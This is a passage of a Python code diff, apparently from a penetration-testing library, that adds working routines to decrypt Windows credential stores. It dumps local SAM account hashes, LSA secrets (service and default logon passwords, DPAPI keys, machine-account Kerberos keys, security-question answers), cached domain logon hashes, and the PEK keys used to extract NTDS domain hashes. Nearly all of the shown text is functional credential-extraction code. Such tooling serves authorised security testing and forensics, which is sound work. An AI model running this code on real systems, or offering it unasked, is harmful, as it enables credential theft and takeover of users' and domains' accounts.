+        LOG.debug('Calculating HashedBootKey from SAM')
+        QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
+        DIGITS = b"0123456789012345678901234567890123456789\0"
+
+        F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1]
+
+        domainData = DOMAIN_ACCOUNT_F(F)
+
+        if domainData['Key0'][0:1] == b'\x01':
+            samKeyData = SAM_KEY_DATA(domainData['Key0'])
+
+            rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)
+            rc4 = ARC4.new(rc4Key)
+            self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])
+
+            # Verify key with checksum
+            checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
+
+            if checkSum != self.__hashedBootKey[16:]:
+                raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
+
+        elif domainData['Key0'][0:1] == b'\x02':
+            # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)
+            samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])
+
+            self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,
+                                                                  samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])
+
+    def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):
+        # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
+        # plus hashedBootKey stuff
+        Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
+
+        Crypt1 = DES.new(Key1, DES.MODE_ECB)
+        Crypt2 = DES.new(Key2, DES.MODE_ECB)
+
+        if newStyle is False:
+            rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
+            rc4 = ARC4.new(rc4Key)
+            key = rc4.encrypt(cryptedHash['Hash'])
+        else:
+            key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]
+
+        decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
+
+        return decryptedHash
+
+    def dump(self):
+        NTPASSWORD = b"NTPASSWORD\0"
+        LMPASSWORD = b"LMPASSWORD\0"
+
+        if self.__samFile is None:
+            # No SAM file provided
+            return
+
+        LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
+        self.getHBootKey()
+
+        usersKey = 'SAM\\Domains\\Account\\Users'
+
+        # Enumerate all the RIDs
+        rids = self.enumKey(usersKey)
+        # Remove the Names item
+        try:
+            rids.remove('Names')
+        except:
+            pass
+
+        for rid in rids:
+            userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
+            rid = int(rid,16)
+
+            V = userAccount['Data']
+
+            userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
+
+            if userAccount['NTHashLength'] == 0:
+                logging.error('SAM hashes extraction for user %s failed. The account doesn\'t have hash information.' % userName)
+                continue
+
+            encNTHash = b''
+            if V[userAccount['NTHashOffset']:][2:3] == b'\x01':
+                # Old Style hashes
+                newStyle = False
+                if userAccount['LMHashLength'] == 20:
+                    encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
+                if userAccount['NTHashLength'] == 20:
+                    encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
+            else:
+                # New Style hashes
+                newStyle = True
+                if userAccount['LMHashLength'] == 24:
+                    encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
+                encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
+
+            LOG.debug('NewStyle hashes is: %s' % newStyle)
+            if userAccount['LMHashLength'] >= 20:
+                lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)
+            else:
+                lmHash = b''
+
+            if encNTHash != b'':
+                ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)
+            else:
+                ntHash = b''
+
+            if lmHash == b'':
+                lmHash = ntlm.LMOWFv1('','')
+            if ntHash == b'':
+                ntHash = ntlm.NTOWFv1('','')
+
+            answer =  "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))
+            self.__itemsFound[rid] = answer
+            self.__perSecretCallback(answer)
+
+    def export(self, baseFileName, openFileFunc = None):
+        if len(self.__itemsFound) > 0:
+            items = sorted(self.__itemsFound)
+            fileName = baseFileName+'.sam'
+            fd = openFile(fileName, openFileFunc=openFileFunc)
+            for item in items:
+                fd.write(self.__itemsFound[item]+'\n')
+            fd.close()
+            return fileName
+
+class LSASecrets(OfflineRegistry):
+    UNKNOWN_USER = '(Unknown User)'
+    class SECRET_TYPE:
+        LSA = 0
+        LSA_HASHED = 1
+        LSA_RAW = 2
+        LSA_KERBEROS = 3
+
+    def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,
+                 perSecretCallback=lambda secretType, secret: _print_helper(secret)):
+        OfflineRegistry.__init__(self, securityFile, isRemote)
+        self.__hashedBootKey = b''
+        self.__bootKey = bootKey
+        self.__LSAKey = b''
+        self.__NKLMKey = b''
+        self.__vistaStyle = True
+        self.__cryptoCommon = CryptoCommon()
+        self.__securityFile = securityFile
+        self.__remoteOps = remoteOps
+        self.__cachedItems = []
+        self.__secretItems = []
+        self.__perSecretCallback = perSecretCallback
+        self.__history = history
+
+    def MD5(self, data):
+        md5 = hashlib.new('md5')
+        md5.update(data)
+        return md5.digest()
+
+    def __sha256(self, key, value, rounds=1000):
+        sha = hashlib.sha256()
+        sha.update(key)
+        for i in range(1000):
+            sha.update(value)
+        return sha.digest()
+
+    def __decryptSecret(self, key, value):
+        # [MS-LSAD] Section 5.1.2
+        plainText = b''
+
+        encryptedSecretSize = unpack('<I', value[:4])[0]
+        value = value[len(value)-encryptedSecretSize:]
+
+        key0 = key
+        for i in range(0, len(value), 8):
+            cipherText = value[:8]
+            tmpStrKey = key0[:7]
+            tmpKey = transformKey(tmpStrKey)
+            Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
+            plainText += Crypt1.decrypt(cipherText)
+            key0 = key0[7:]
+            value = value[8:]
+            # AdvanceKey
+            if len(key0) < 7:
+                key0 = key[len(key0):]
+
+        secret = LSA_SECRET_XP(plainText)
+        return secret['Secret']
+
+    def __decryptHash(self, key, value, iv):
+        hmac_md5 = HMAC.new(key,iv,MD5)
+        rc4key = hmac_md5.digest()
+
+        rc4 = ARC4.new(rc4key)
+        data = rc4.encrypt(value)
+        return data
+
+    def __decryptLSA(self, value):
+        if self.__vistaStyle is True:
+            # ToDo: There could be more than one LSA Keys
+            record = LSA_SECRET(value)
+            tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
+            plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
+            record = LSA_SECRET_BLOB(plainText)
+            self.__LSAKey = record['Secret'][52:][:32]
+
+        else:
+            md5 = hashlib.new('md5')
+            md5.update(self.__bootKey)
+            for i in range(1000):
+                md5.update(value[60:76])
+            tmpKey = md5.digest()
+            rc4 = ARC4.new(tmpKey)
+            plainText = rc4.decrypt(value[12:60])
+            self.__LSAKey = plainText[0x10:0x20]
+
+    def __getLSASecretKey(self):
+        LOG.debug('Decrypting LSA Key')
+        # Let's try the key post XP
+        value = self.getValue('\\Policy\\PolEKList\\default')
+        if value is None:
+            LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')
+            # Second chance
+            value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
+            self.__vistaStyle = False
+            if value is None:
+                # No way :(
+                return None
+
+        self.__decryptLSA(value[1])
+
+    def __getNLKMSecret(self):
+        LOG.debug('Decrypting NL$KM')
+        value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
+        if value is None:
+            raise Exception("Couldn't get NL$KM value")
+        if self.__vistaStyle is True:
+            record = LSA_SECRET(value[1])
+            tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
+            self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
+        else:
+            self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
+
+    def __pad(self, data):
+        if (data & 0x3) > 0:
+            return data + (data & 0x3)
+        else:
+            return data
+
+    def dumpCachedHashes(self):
+        if self.__securityFile is None:
+            # No SECURITY file provided
+            return
+
+        LOG.info('Dumping cached domain logon information (domain/username:hash)')
+
+        # Let's first see if there are cached entries
+        values = self.enumValues('\\Cache')
+        if values is None:
+            # No cache entries
+            return
+        try:
+            # Remove unnecessary value
+            values.remove(b'NL$Control')
+        except:
+            pass
+
+        iterationCount = 10240
+
+        if b'NL$IterationCount' in values:
+            values.remove(b'NL$IterationCount')
+
+            record = self.getValue('\\Cache\\NL$IterationCount')[1]
+            if record > 10240:
+                iterationCount = record & 0xfffffc00
+            else:
+                iterationCount = record * 1024
+
+        self.__getLSASecretKey()
+        self.__getNLKMSecret()
+
+        for value in values:
+            LOG.debug('Looking into %s' % value.decode('utf-8'))
+            record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1])
+            if record['IV'] != 16 * b'\x00':
+            #if record['UserLength'] > 0:
+                if record['Flags'] & 1 == 1:
+                    # Encrypted
+                    if self.__vistaStyle is True:
+                        plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])
+                    else:
+                        plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])
+                        pass
+                else:
+                    # Plain! Until we figure out what this is, we skip it
+                    #plainText = record['EncryptedData']
+                    continue
+                encHash = plainText[:0x10]
+                plainText = plainText[0x48:]
+                userName = plainText[:record['UserLength']].decode('utf-16le')
+                plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]
+                domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')
+
+                if self.__vistaStyle is True:
+                    answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'))
+                else:
+                    answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName)
+
+                self.__cachedItems.append(answer)
+                self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)
+
+    def __printSecret(self, name, secretItem):
+        # Based on [MS-LSAD] section 3.1.1.4
+
+        # First off, let's discard NULL secrets.
+        if len(secretItem) == 0:
+            LOG.debug('Discarding secret %s, NULL Data' % name)
+            return
+
+        # We might have secrets with zero
+        if secretItem.startswith(b'\x00\x00'):
+            LOG.debug('Discarding secret %s, all zeros' % name)
+            return
+
+        upperName = name.upper()
+
+        LOG.info('%s ' % name)
+
+        secret = ''
+
+        if upperName.startswith('_SC_'):
+            # Service name, a password might be there
+            # Let's first try to decode the secret
+            try:
+                strDecoded = secretItem.decode('utf-16le')
+            except:
+                pass
+            else:
+                # We have to get the account the service
+                # runs under
+                if hasattr(self.__remoteOps, 'getServiceAccount'):
+                    account = self.__remoteOps.getServiceAccount(name[4:])
+                    if account is None:
+                        secret = self.UNKNOWN_USER + ':'
+                    else:
+                        secret =  "%s:" % account
+                else:
+                    # We don't support getting this info for local targets at the moment
+                    secret = self.UNKNOWN_USER + ':'
+                secret += strDecoded
+        elif upperName.startswith('DEFAULTPASSWORD'):
+            # defaults password for winlogon
+            # Let's first try to decode the secret
+            try:
+                strDecoded = secretItem.decode('utf-16le')
+            except:
+                pass
+            else:
+                # We have to get the account this password is for
+                if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):
+                    account = self.__remoteOps.getDefaultLoginAccount()
+                    if account is None:
+                        secret = self.UNKNOWN_USER + ':'
+                    else:
+                        secret = "%s:" % account
+                else:
+                    # We don't support getting this info for local targets at the moment
+                    secret = self.UNKNOWN_USER + ':'
+                secret += strDecoded
+        elif upperName.startswith('ASPNET_WP_PASSWORD'):
+            try:
+                strDecoded = secretItem.decode('utf-16le')
+            except:
+                pass
+            else:
+                secret = 'ASPNET: %s' % strDecoded
+        elif upperName.startswith('DPAPI_SYSTEM'):
+            # Decode the DPAPI Secrets
+            dpapi = DPAPI_SYSTEM(secretItem)
+            secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'),
+                                                               hexlify(dpapi['UserKey']).decode('latin-1'))
+        elif upperName.startswith('$MACHINE.ACC'):
+            # compute MD4 of the secret.. yes.. that is the nthash? :-o
+            md4 = MD4.new()
+            md4.update(secretItem)
+            if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):
+                machine, domain = self.__remoteOps.getMachineNameAndDomain()
+                printname = "%s\\%s$" % (domain, machine)
+                secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
+                                               hexlify(md4.digest()).decode('utf-8'))
+            else:
+                printname = "$MACHINE.ACC"
+                secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
+                                                  hexlify(md4.digest()).decode('utf-8'))
+            # Attempt to calculate and print Kerberos keys
+            if not self.__printMachineKerberos(secretItem, printname):
+                LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)')
+            # Always print plaintext anyway since this may be needed for some popular usecases
+            extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8'))
+            self.__secretItems.append(extrasecret)
+            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)
+        elif re.match(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None:
+            # Decode stored security questions
+            sid = re.search(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1)
+            try:
+                strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ')
+                strDecoded = json.loads(strDecoded)
+            except:
+                pass
+            else:
+                output = []
+                if strDecoded['version'] == 1:
+                    output.append(" - Version : %d" % strDecoded['version'])
+                    for qk in strDecoded['questions']:
+                        output.append(" | Question: %s" % qk['question'])
+                        output.append(" | |--> Answer: %s" % qk['answer'])
+                    output = '\n'.join(output)
+                    secret = 'Security Questions for user %s: \n%s' % (sid, output)
+                else:
+                    LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version']))
+                    LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.")
+                    secret = json.dumps(strDecoded, indent=4)
+
+        if secret != '':
+            printableSecret = secret
+            self.__secretItems.append(secret)
+            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)
+        else:
+            # Default print, hexdump
+            printableSecret  = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))
+            self.__secretItems.append(printableSecret)
+            # If we're using the default callback (ourselves), we print the hex representation. If not, the
+            # user will need to decide what to do.
+            if self.__module__ == self.__perSecretCallback.__module__:
+                hexdump(secretItem)
+            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)
+
+    def __printMachineKerberos(self, rawsecret, machinename):
+        # Attempt to create Kerberos keys from machine account (if possible)
+        if hasattr(self.__remoteOps, 'getMachineKerberosSalt'):
+            salt = self.__remoteOps.getMachineKerberosSalt()
+            if salt == b'':
+                return False
+            else:
+                allciphers = [
+                    int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
+                    int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
+                    int(constants.EncryptionTypes.des_cbc_md5.value)
+                ]
+                # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount
+                # of invalid unicode characters.
+                # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft
+                # implicitly replaces those when converting utf-16 to utf-8.
+                # When we use the same method we get the valid password -> key mapping :)
+                rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
+                for etype in allciphers:
+                    try:
+                        key = string_to_key(etype, rawsecret, salt, None)
+                    except Exception:
+                        LOG.debug('Exception', exc_info=True)
+                        raise
+                    typename = NTDSHashes.KERBEROS_TYPE[etype]
+                    secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8'))
+                    self.__secretItems.append(secret)
+                    self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)
+                return True
+        else:
+            return False
+
+    def dumpSecrets(self):
+        if self.__securityFile is None:
+            # No SECURITY file provided
+            return
+
+        LOG.info('Dumping LSA Secrets')
+
+        # Let's first see if there are cached entries
+        keys = self.enumKey('\\Policy\\Secrets')
+        if keys is None:
+            # No entries
+            return
+        try:
+            # Remove unnecessary value
+            keys.remove(b'NL$Control')
+        except:
+            pass
+
+        if self.__LSAKey == b'':
+            self.__getLSASecretKey()
+
+        for key in keys:
+            LOG.debug('Looking into %s' % key)
+            valueTypeList = ['CurrVal']
+            # Check if old LSA secrets values are also need to be shown
+            if self.__history:
+                valueTypeList.append('OldVal')
+
+            for valueType in valueTypeList:
+                value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
+                if value is not None and value[1] != 0:
+                    if self.__vistaStyle is True:
+                        record = LSA_SECRET(value[1])
+                        tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
+                        plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
+                        record = LSA_SECRET_BLOB(plainText)
+                        secret = record['Secret']
+                    else:
+                        secret = self.__decryptSecret(self.__LSAKey, value[1])
+
+                    # If this is an OldVal secret, let's append '_history' to be able to distinguish it and
+                    # also be consistent with NTDS history
+                    if valueType == 'OldVal':
+                        key += '_history'
+                    self.__printSecret(key, secret)
+
+    def exportSecrets(self, baseFileName, openFileFunc = None):
+        if len(self.__secretItems) > 0:
+            fileName = baseFileName+'.secrets'
+            fd = openFile(fileName, openFileFunc=openFileFunc)
+            for item in self.__secretItems:
+                fd.write(item+'\n')
+            fd.close()
+            return fileName
+
+    def exportCached(self, baseFileName, openFileFunc = None):
+        if len(self.__cachedItems) > 0:
+            fileName = baseFileName+'.cached'
+            fd = openFile(fileName, openFileFunc=openFileFunc)
+            for item in self.__cachedItems:
+                fd.write(item+'\n')
+            fd.close()
+            return fileName
+
+
+class ResumeSessionMgrInFile(object):
+    def __init__(self, resumeFileName=None):
+        self.__resumeFileName = resumeFileName
+        self.__resumeFile = None
+        self.__hasResumeData = resumeFileName is not None
+
+    def hasResumeData(self):
+        return self.__hasResumeData
+
+    def clearResumeData(self):
+        self.endTransaction()
+        if self.__resumeFileName and os.path.isfile(self.__resumeFileName):
+            os.remove(self.__resumeFileName)
+
+    def writeResumeData(self, data):
+        # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that
+        self.__resumeFile.seek(0, 0)
+        self.__resumeFile.truncate(0)
+        self.__resumeFile.write(data.encode())
+        self.__resumeFile.flush()
+
+    def getResumeData(self):
+        try:
+            self.__resumeFile = open(self.__resumeFileName,'rb')
+        except Exception as e:
+            raise Exception('Cannot open resume session file name %s' % str(e))
+        resumeSid = self.__resumeFile.read()
+        self.__resumeFile.close()
+        # Truncate and reopen the file as wb+
+        self.__resumeFile = open(self.__resumeFileName,'wb+')
+        return resumeSid.decode('utf-8')
+
+    def getFileName(self):
+        return self.__resumeFileName
+
+    def beginTransaction(self):
+        if not self.__resumeFileName:
+            self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))
+            LOG.debug('Session resume file will be %s' % self.__resumeFileName)
+        if not self.__resumeFile:
+            try:
+                self.__resumeFile = open(self.__resumeFileName, 'wb+')
+            except Exception as e:
+                raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))
+
+    def endTransaction(self):
+        if self.__resumeFile:
+            self.__resumeFile.close()
+            self.__resumeFile = None
+
+
+class NTDSHashes:
+    class SECRET_TYPE:
+        NTDS = 0
+        NTDS_CLEARTEXT = 1
+        NTDS_KERBEROS = 2
+
+    NAME_TO_INTERNAL = {
+        'uSNCreated':b'ATTq131091',
+        'uSNChanged':b'ATTq131192',
+        'name':b'ATTm3',
+        'objectGUID':b'ATTk589826',
+        'objectSid':b'ATTr589970',
+        'userAccountControl':b'ATTj589832',
+        'primaryGroupID':b'ATTj589922',
+        'accountExpires':b'ATTq589983',
+        'logonCount':b'ATTj589993',
+        'sAMAccountName':b'ATTm590045',
+        'sAMAccountType':b'ATTj590126',
+        'lastLogonTimestamp':b'ATTq589876',
+        'userPrincipalName':b'ATTm590480',
+        'unicodePwd':b'ATTk589914',
+        'dBCSPwd':b'ATTk589879',
+        'ntPwdHistory':b'ATTk589918',
+        'lmPwdHistory':b'ATTk589984',
+        'pekList':b'ATTk590689',
+        'supplementalCredentials':b'ATTk589949',
+        'pwdLastSet':b'ATTq589920',
+    }
+
+    NAME_TO_ATTRTYP = {
+        'userPrincipalName': 0x90290,
+        'sAMAccountName': 0x900DD,
+        'unicodePwd': 0x9005A,
+        'dBCSPwd': 0x90037,
+        'ntPwdHistory': 0x9005E,
+        'lmPwdHistory': 0x900A0,
+        'supplementalCredentials': 0x9007D,
+        'objectSid': 0x90092,
+        'userAccountControl':0x90008,
+    }
+
+    ATTRTYP_TO_ATTID = {
+        'userPrincipalName': '1.2.840.113556.1.4.656',
+        'sAMAccountName': '1.2.840.113556.1.4.221',
+        'unicodePwd': '1.2.840.113556.1.4.90',
+        'dBCSPwd': '1.2.840.113556.1.4.55',
+        'ntPwdHistory': '1.2.840.113556.1.4.94',
+        'lmPwdHistory': '1.2.840.113556.1.4.160',
+        'supplementalCredentials': '1.2.840.113556.1.4.125',
+        'objectSid': '1.2.840.113556.1.4.146',
+        'pwdLastSet': '1.2.840.113556.1.4.96',
+        'userAccountControl':'1.2.840.113556.1.4.8',
+    }
+
+    KERBEROS_TYPE = {
+        1:'dec-cbc-crc',
+        3:'des-cbc-md5',
+        17:'aes128-cts-hmac-sha1-96',
+        18:'aes256-cts-hmac-sha1-96',
+        0xffffff74:'rc4_hmac',
+    }
+
+    INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())
+
+    SAM_NORMAL_USER_ACCOUNT = 0x30000000
+    SAM_MACHINE_ACCOUNT     = 0x30000001
+    SAM_TRUST_ACCOUNT       = 0x30000002
+
+    ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
+
+    class PEKLIST_ENC(Structure):
+        structure = (
+            ('Header','8s=b""'),
+            ('KeyMaterial','16s=b""'),
+            ('EncryptedPek',':'),
+        )
+
+    class PEKLIST_PLAIN(Structure):
+        structure = (
+            ('Header','32s=b""'),
+            ('DecryptedPek',':'),
+        )
+
+    class PEK_KEY(Structure):
+        structure = (
+            ('Header','1s=b""'),
+            ('Padding','3s=b""'),
+            ('Key','16s=b""'),
+        )
+
+    class CRYPTED_HASH(Structure):
+        structure = (
+            ('Header','8s=b""'),
+            ('KeyMaterial','16s=b""'),
+            ('EncryptedHash','16s=b""'),
+        )
+
+    class CRYPTED_HASHW16(Structure):
+        structure = (
+            ('Header','8s=b""'),
+            ('KeyMaterial','16s=b""'),
+            ('Unknown','<L=0'),
+            ('EncryptedHash', ':'),
+        )
+
+    class CRYPTED_HISTORY(Structure):
+        structure = (
+            ('Header','8s=b""'),
+            ('KeyMaterial','16s=b""'),
+            ('EncryptedHash',':'),
+        )
+
+    class CRYPTED_BLOB(Structure):
+        structure = (
+            ('Header','8s=b""'),
+            ('KeyMaterial','16s=b""'),
+            ('EncryptedHash',':'),
+        )
+
+    def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
+                 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
+                 justUser=None, printUserStatus=False,
+                 perSecretCallback = lambda secretType, secret : _print_helper(secret),
+                 resumeSessionMgr=ResumeSessionMgrInFile):
+        self.__bootKey = bootKey
+        self.__NTDS = ntdsFile
+        self.__history = history
+        self.__noLMHash = noLMHash
+        self.__useVSSMethod = useVSSMethod
+        self.__remoteOps = remoteOps
+        self.__pwdLastSet = pwdLastSet
+        self.__printUserStatus = printUserStatus
+        if self.__NTDS is not None:
+            self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
+            self.__cursor = self.__ESEDB.openTable('datatable')
+        self.__tmpUsers = list()
+        self.__PEK = list()
+        self.__cryptoCommon = CryptoCommon()
+        self.__kerberosKeys = OrderedDict()
+        self.__clearTextPwds = OrderedDict()
+        self.__justNTLM = justNTLM
+        self.__resumeSession = resumeSessionMgr(resumeSession)
+        self.__outputFileName = outputFileName
+        self.__justUser = justUser
+        self.__perSecretCallback = perSecretCallback
+
+		# these are all the columns that we need to get the secrets.
+		# If in the future someone finds other columns containing interesting things please extend ths table.
+        self.__filter_tables_usersecret = {
+            self.NAME_TO_INTERNAL['objectSid'] : 1,
+            self.NAME_TO_INTERNAL['dBCSPwd'] : 1,
+            self.NAME_TO_INTERNAL['name'] : 1,
+            self.NAME_TO_INTERNAL['sAMAccountType'] : 1,
+            self.NAME_TO_INTERNAL['unicodePwd'] : 1,
+            self.NAME_TO_INTERNAL['sAMAccountName'] : 1,
+            self.NAME_TO_INTERNAL['userPrincipalName'] : 1,
+            self.NAME_TO_INTERNAL['ntPwdHistory'] : 1,
+            self.NAME_TO_INTERNAL['lmPwdHistory'] : 1,
+            self.NAME_TO_INTERNAL['pwdLastSet'] : 1,
+            self.NAME_TO_INTERNAL['userAccountControl'] : 1,
+            self.NAME_TO_INTERNAL['supplementalCredentials'] : 1,
+            self.NAME_TO_INTERNAL['pekList'] : 1,
+
+        }
+
+    def getResumeSessionFile(self):
+        return self.__resumeSession.getFileName()
+
+    def __getPek(self):
+        LOG.info('Searching for pekList, be patient')
+        peklist = None
+        while True:
+            try:
+                record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)
+            except:
+                LOG.error('Error while calling getNextRow(), trying the next one')
+                continue
+
+            if record is None:
+                break
+            elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
+                peklist =  unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
+                break
+            elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
+                # Okey.. we found some users, but we're not yet ready to process them.
+                # Let's just store them in a temp list
+                self.__tmpUsers.append(record)
+
+        if peklist is not None:
+            encryptedPekList = self.PEKLIST_ENC(peklist)
+            if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00':
+                # Up to Windows 2012 R2 looks like header starts this way
+                md5 = hashlib.new('md5')
+                md5.update(self.__bootKey)
+                for i in range(1000):
+                    md5.update(encryptedPekList['KeyMaterial'])
+                tmpKey = md5.digest()
+                rc4 = ARC4.new(tmpKey)
+                decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
+                PEKLen = len(self.PEK_KEY())
+                for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ):
+                    cursor = i * PEKLen
+                    pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
+                    LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8'))
+                    self.__PEK.append(pek['Key'])
+
+            elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00':
+                # Windows 2016 TP4 header starts this way
+                # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
+                # using AES:
+                # Key: the bootKey
+                # CipherText: PEKLIST_ENC['EncryptedPek']
+                # IV: PEKLIST_ENC['KeyMaterial']
+                decryptedPekList = self.PEKLIST_PLAIN(
+                    self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],
+                                                   encryptedPekList['KeyMaterial']))
+
+                # PEK list entries take the form:
+                #   index (4 byte LE int), PEK (16 byte key)
+                # the entries are in ascending order, and the list is terminated
+                # by an entry with a non-sequential index (08080808 observed)
+                pos, cur_index = 0, 0
+                while True:
+                    pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20]
+                    if len(pek_entry) < 20: break # if list truncated, should not happen
+                    index, pek = unpack('<L16s', pek_entry)
+                    if index != cur_index: break # break on non-sequential index
+                    self.__PEK.append(pek)
+                    LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8'))
+                    cur_index += 1
+                    pos += 20
+
+    def __removeRC4Layer(self, cryptedHash):
+        md5 = hashlib.new('md5')
+        # PEK index can be found on header of each ciphered blob (pos 8-10)
+        pekIndex = hexlify(cryptedHash['Header'])
+        md5.update(self.__PEK[int(pekIndex[8:10])])
+        md5.update(cryptedHash['KeyMaterial'])
+        tmpKey = md5.digest()
+        rc4 = ARC4.new(tmpKey)
+        plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
+
+        return plainText
+
+    def __removeDESLayer(self, cryptedHash, rid):
+        Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
+
+        Crypt1 = DES.new(Key1, DES.MODE_ECB)
+        Crypt2 = DES.new(Key2, DES.MODE_ECB)
+
+        decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
+
+        return decryptedHash
+
+    @staticmethod
+    def __fileTimeToDateTime(t):
+        t -= 116444736000000000
+        t //= 10000000
+        if t < 0:
+            return 'never'
+        else:
